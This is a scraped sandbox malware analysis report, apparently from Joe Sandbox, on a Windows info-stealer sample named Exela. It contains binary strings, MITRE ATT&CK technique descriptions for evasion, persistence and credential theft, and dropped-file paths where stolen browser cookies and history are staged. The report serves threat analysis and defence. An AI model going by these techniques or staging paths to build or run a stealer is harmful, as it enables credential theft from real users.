Instruction Fuzzy Hash: 97018463B1C64289F720EF6894A73BE6BA0EF44704F410035D54DD6695EE3EE584CB1A

Uniqueness

Uniqueness Score: -1.00%

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651004020.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_bz2.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651489697.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_lzma.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651827238.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_socket.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000000.1650559854.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameExela.exej% vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652100311.000001FC75806000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_uuid.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656536234.000001FC75808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepyexpat.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651594328.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_multiprocessing.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651915607.000001FC75803000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_sqlite3.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657899166.000001FC75808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesqlite3.dll0 vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1650926851.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !OriginalFilename_asyncio.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1650926851.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_asyncio.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1658168645.000001FC75808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameunicodedata.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1650799388.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dllT vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651284062.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_decimal.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1656220023.000001FC75808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibsslH vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1652009836.000001FC75805000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ssl.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651407307.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_hashlib.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651676745.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_overlapped.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657738135.000001FC75808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameselect.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651745342.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_queue.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1651188730.000001FC75802000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename_ctypes.pyd. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000000.00000003.1657012917.000001FC75808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000000.1659120536.00007FF72AAB3000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameExela.exej% vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.1986952157.000002DCCEDE0000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenamepython3.dll. vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Binary or memory string: OriginalFilenameExela.exej% vs SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control ).
Tactics:	Collection, Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Persistence and Installation Behavior

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\67f46lun

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0.zip

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt

C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Historys.txt

Windows Analysis Report
SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre